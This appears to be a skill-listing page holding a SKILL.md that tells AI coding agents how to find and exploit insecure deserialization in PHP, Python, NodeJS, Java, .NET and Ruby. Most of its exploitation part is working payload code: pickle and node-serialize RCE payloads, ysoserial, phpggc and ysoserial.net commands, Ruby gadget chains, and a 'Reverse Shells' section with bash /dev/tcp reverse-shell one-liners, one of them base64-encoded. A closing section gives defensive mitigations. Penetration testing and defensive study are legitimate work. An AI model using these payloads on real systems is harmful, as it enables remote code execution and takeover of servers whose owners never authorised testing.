# Deserialization Pentest

> How to identify and exploit insecure deserialization vulnerabilities across PHP, Python, NodeJS, Java, .NET, and Ruby. Use this skill whenever the user mentions deserialization, serialization, object injection, gadget chains, ysoserial, pickle, unserialize, ObjectInputStream, BinaryFormatter, Marshal, or any related vulnerability testing. Make sure to use this skill for any web application security testing involving serialized data, ViewState parameters, cookies with serialized objects, or when analyzing code for deserialization sinks.

- Skill: `abelrguezr/deserialization-pentest` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/deserialization-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/deserialization-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/deserialization-pentest

---


# Deserialization Pentesting

A comprehensive guide for identifying and exploiting insecure deserialization vulnerabilities across multiple platforms.

## Quick Reference

| Platform | Key Indicators | Primary Tool |
|----------|---------------|---------------|
| PHP | `unserialize()`, `__wakeup`, `__destruct` | PHPGGC |
| Python | `pickle.loads()`, `__reduce__` | Custom payloads |
| NodeJS | `node-serialize`, `funcster`, `serialize-javascript` | Manual crafting |
| Java | `AC ED 00 05`, `rO0`, `ObjectInputStream` | ysoserial |
| .NET | `AAEAAAD`, `BinaryFormatter`, `SoapFormatter` | ysoserial.net |
| Ruby | `Marshal.load`, `Gem::` classes | Custom payloads |

## Detection Methods

### White Box Testing

Search for these patterns in source code:

**PHP:**
- `unserialize()` without `allowed_classes` parameter
- Magic methods: `__wakeup`, `__destruct`, `__unserialize`, `__sleep`
- `file_get_contents()` with `phar://` wrapper

**Python:**
- `pickle.loads()`, `pickle.load()`
- `yaml.load()` with `Loader=yaml.FullLoader` or `UnsafeLoader`
- `jsonpickle.decode()`
- `__reduce__` or `__reduce_ex__` methods

**NodeJS:**
- `node-serialize.unserialize()`
- `funcster.deepDeserialize()`
- `serialize-javascript` with `eval()` deserialization
- `__proto__` or `prototype` pollution patterns

**Java:**
- `ObjectInputStream.readObject()`
- `XStream.fromXML()` (versions ≤ 1.46)
- `XMLDecoder` with user input
- Classes implementing `Serializable`
- `readObject()`, `readResolve()`, `readExternal()` methods

**.NET:**
- `BinaryFormatter.Deserialize()`
- `SoapFormatter.Deserialize()`
- `JsonConvert.DeserializeObject()` with `TypeNameHandling.Auto`
- `JavaScriptSerializer` with `JavaScriptTypeResolver`
- `__ViewState` parameters

**Ruby:**
- `Marshal.load()` or `Marshal.restore()`
- `Oj.load()`, `Psych.load()`, `JSON.parse()` with custom `json_create`
- `.send()` method with user-controlled input

### Black Box Testing

**Java Signatures:**
- Hex: `AC ED 00 05`
- Base64: `rO0`
- Compressed hex: `1F 8B 08 00`
- Compressed Base64: `H4sIA`
- Content-Type: `application/x-java-serialized-object`
- `.faces` files with `javax.faces.ViewState` parameter

**.NET Signatures:**
- Base64: `AAEAAAD//////`
- JSON/XML with `$type` or `TypeObject` fields

**General Indicators:**
- Long Base64 strings in cookies, parameters, or headers
- ViewState parameters in ASP.NET applications
- Serialized objects in API responses
- Custom binary protocols

## Exploitation by Platform

### PHP Deserialization

#### Magic Methods to Abuse

| Method | When Called | Use Case |
|--------|-------------|----------|
| `__wakeup` | After deserialization | RCE via file operations, command execution |
| `__destruct` | Object destruction | Cleanup-based exploitation |
| `__unserialize` | Instead of `__wakeup` | Full control over deserialization |
| `__toString` | String conversion | File reads, information disclosure |
| `__sleep` | Before serialization | Property manipulation |

#### PHPGGC Usage

```bash
# Generate payload for specific gadget chain
phpggc <gadget> <parameter> > payload.txt

# Example: PHPMailer RCE
phpggc PHPMailer phpinfo > payload.txt

# Example: Laravel RCE
phpggc Laravel8 'system("id")' > payload.txt
```

#### Common Gadget Chains

- **PHPMailer**: Email-based RCE
- **Laravel**: Queue and closure exploitation
- **Symfony**: Expression language RCE
- **Monolog**: File write and RCE
- **Doctrine**: Query-based exploitation

#### Phar Deserialization

When LFI exists but doesn't execute PHP:

```bash
# Create malicious phar file
php -r '
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->stopBuffering();
'

# Trigger via phar:// wrapper
file_get_contents("phar://evil.phar");
```

### Python Deserialization

#### Pickle Exploitation

```python
import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ("your_command_here",))

# Generate payload
payload = pickle.dumps(RCE())
print(payload)

# Base64 encode for transmission
import base64
print(base64.b64encode(payload).decode())
```

#### YAML Deserialization

```python
import yaml

# Vulnerable code pattern
data = yaml.load(user_input, Loader=yaml.FullLoader)

# Exploitation via __reduce__
payload = "!!python/object/apply:os.system ["command"]"
```

#### jsonpickle Exploitation

```python
import jsonpickle

# Vulnerable pattern
data = jsonpickle.decode(user_input)

# Exploitation
payload = jsonpickle.encode(
    {"py/object": "os.system", "py/args": ["command"]}
)
```

### NodeJS Deserialization

#### node-serialize Exploitation

```javascript
// Vulnerable pattern
var serialize = require("node-serialize");
var data = serialize.unserialize(userInput);

// Exploit payload
var payload = {
  "rce": "_$$ND_FUNC$$_require('child_process').exec('command')()"
};
```

#### funcster Exploitation

```javascript
// Vulnerable pattern
var funcster = require("funcster");
var data = funcster.deepDeserialize(userInput);

// Exploit payload
var payload = {
  "__js_function": "this.constructor.constructor('require(\"child_process\").exec(\"command\")')()"
};
```

#### serialize-javascript Exploitation

```javascript
// Vulnerable deserialization
function deserialize(serialized) {
  return eval("(" + serialized + ")");
}

// Exploit
var payload = "function(){ require('child_process').exec('command'); }()";
```

#### React Server Components (CVE-2025-55182)

```bash
# Craft multipart payload for vulnerable RSC
curl -X POST http://target/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"app/server-actions#export","bound":["arg1","arg2"]}'
```

### Java Deserialization

#### ysoserial Usage

```bash
# Download ysoserial
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

# DNS callback (safe test)
java -jar ysoserial.jar URLDNS http://your-collaborator.burpcollaborator.net > payload

# RCE payloads
java -jar ysoserial.jar CommonsCollections5 "command" > payload
java -jar ysoserial.jar CommonsCollections4 "command" > payload
java -jar ysoserial.jar Jdk7u21 "command" > payload

# Base64 encode for HTTP injection
base64 -w0 payload
```

#### Common Gadget Chains

| Gadget | Library | Risk Level |
|--------|---------|------------|
| CommonsCollections1-7 | Apache Commons Collections | High |
| Jdk7u21 | JDK 7u21+ | Medium |
| URLDNS | None (DNS only) | Low (detection) |
| Spring1-2 | Spring Framework | High |
| Hibernate1-2 | Hibernate | High |
| Myfaces1-2 | Apache MyFaces | High |

#### marshalsec for JSON/XML

```bash
# Compile marshalsec
mvn clean package -DskipTests

# Generate JSON payload
java -cp marshalsec.jar marshalsec.json.JsonGenerator <gadget> "command"

# Generate YAML payload
java -cp marshalsec.jar marshalsec.yaml.YamlGenerator <gadget> "command"
```

#### Detection Tools

- **GadgetProbe**: Identify available libraries via DNS callbacks
- **Java Deserialization Scanner**: Burp extension for automated testing
- **Freddy**: Detect JSON/YAML/ObjectInputStream vulnerabilities
- **SerializationDumper**: Human-readable serialization inspection

### .NET Deserialization

#### ysoserial.net Usage

```powershell
# Compile ysoserial.net
# Then use:

# Generate payload
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "command" -o base64

# Test payload locally
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "command" --test

# List available gadgets for formatter
ysoserial.exe --raf -f Json.Net -c "test"

# Reverse shell example
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -Enc <base64>"
```

#### Common Formatters

| Formatter | Library | Exploitable |
|-----------|---------|-------------|
| Json.Net | Newtonsoft.Json | Yes (with TypeNameHandling) |
| BinaryFormatter | System.Runtime.Serialization | Yes |
| SoapFormatter | System.Runtime.Serialization | Yes |
| DataContractSerializer | System.Runtime.Serialization | Limited |

#### ViewState Exploitation

```powershell
# With known validation key
ysoserial.exe -g ObjectDataProvider -f ViewState -c "command" -k <validation_key>

# With known secret
ysoserial.exe -g ObjectDataProvider -f ViewState -c "command" -s <secret>
```

### Ruby Deserialization

#### Marshal Exploitation

```ruby
# Basic RCE gadget
require 'base64'

class RCE
  def initialize(cmd)
    @cmd = cmd
  end
  
  def hash
    system(@cmd)
  end
end

payload = Marshal.dump(RCE.new("id"))
puts Base64.encode64(payload)
```

#### Gem Gadget Chains

```ruby
# Gem::StubSpecification chain
class Gem::StubSpecification
  def initialize; end
end

stub = Gem::StubSpecification.new
stub.instance_variable_set(:@loaded_from, "|command 1>&2")

# Trigger via comparison
other = Gem::Source::SpecificFile.new
stub <=> other
```

#### Oj/Psych Exploitation

```json
// Oj payload
{
  "^o": "Gem::Resolver::SpecSpecification",
  "spec": {
    "^o": "Gem::Resolver::GitSpecification",
    "source": {
      "^o": "Gem::Source::Git",
      "git": "zip",
      "reference": "-TmTT=\"\$(id>/tmp/poc)\"",
      "root_dir": "/tmp"
    }
  }
}
```

## Prevention and Mitigation

### PHP

```php
// Disable all classes
$object = unserialize($data, ['allowed_classes' => false]);

// Whitelist specific classes
$object = unserialize($data, ['allowed_classes' => ['SafeClass']]);

// Avoid unserialize entirely - use JSON
$data = json_decode($json_string);
```

### Python

```python
# Use safe_load for YAML
import yaml
data = yaml.safe_load(user_input)

# Avoid pickle with untrusted data
# Use JSON instead
data = json.loads(user_input)

# If pickle is required, use restricted unpickler
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        allowed = ['mymodule.MyClass']
        if f"{module}.{name}" not in allowed:
            raise pickle.UnpicklingError(f"Forbidden: {module}.{name}")
        return super().find_class(module, name)
```

### Java

```java
// Use ObjectInputFilter (Java 9+)
ObjectInputFilter filter = info -> {
    if (!allowedClasses.contains(info.serialClass().getName())) {
        return Status.REJECTED;
    }
    return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

// Override resolveClass
public class SafeObjectInputStream extends ObjectInputStream {
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
        if (!desc.getName().equals("com.example.SafeClass")) {
            throw new InvalidClassException("Unauthorized");
        }
        return super.resolveClass(desc);
    }
}
```

### .NET

```csharp
// Set TypeNameHandling to None
var settings = new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.None
};
var data = JsonConvert.DeserializeObject(json, settings);

// Use SerializationBinder for BinaryFormatter
public class SafeSerializationBinder : SerializationBinder {
    public override Type BindToType(string assemblyName, string typeName) {
        if (typeName != "MyApp.SafeClass") {
            throw new SecurityException("Unauthorized type");
        }
        return Type.GetType(typeName);
    }
}
```

### Ruby

```ruby
# Use JSON instead of Marshal
data = JSON.parse(user_input)

# If Marshal is required, use SafeMarshal
require 'safe_marshal'
data = SafeMarshal.load(user_input, allowed_classes: [SafeClass])

# Validate before deserialization
if user_input.start_with?("\x04\x08") # Marshal magic
  # Validate structure before loading
end
```

## Testing Workflow

1. **Identify** serialized data in requests/responses
2. **Determine** the platform and serialization format
3. **Test** with DNS callback payloads (URLDNS, etc.)
4. **Enumerate** available libraries/gadgets
5. **Craft** RCE payload based on available gadgets
6. **Verify** exploitation with file creation or reverse shell
7. **Document** findings and remediation steps

## Common Payloads

### DNS Callbacks (Safe Testing)

```bash
# Java
java -jar ysoserial.jar URLDNS http://your-collaborator.net

# .NET
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup your-collaborator.net"

# NodeJS
var payload = {"rce": "_\$\$ND_FUNC\$\$_require('child_process').exec('nslookup your-collaborator.net')()"}
```

### Reverse Shells

```bash
# Java (Linux)
java -jar ysoserial.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}"

# .NET (Windows)
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell -Enc <base64_encoded_ps>"

# PHP (via gadget)
phpggc Laravel8 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'
```

## References

- [OWASP Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
- [ysoserial](https://github.com/frohoff/ysoserial)
- [ysoserial.net](https://github.com/pwntester/ysoserial.net)
- [PHPGGC](https://github.com/ambionics/phpggc)
- [marshalsec](https://github.com/mbechler/marshalsec)
- [GadgetProbe](https://github.com/GrrrDog/GadgetProbe)
- [Freddy](https://github.com/nccgroup/freddy)
- [Ruby Unsafe Deserialization PoCs](https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization)

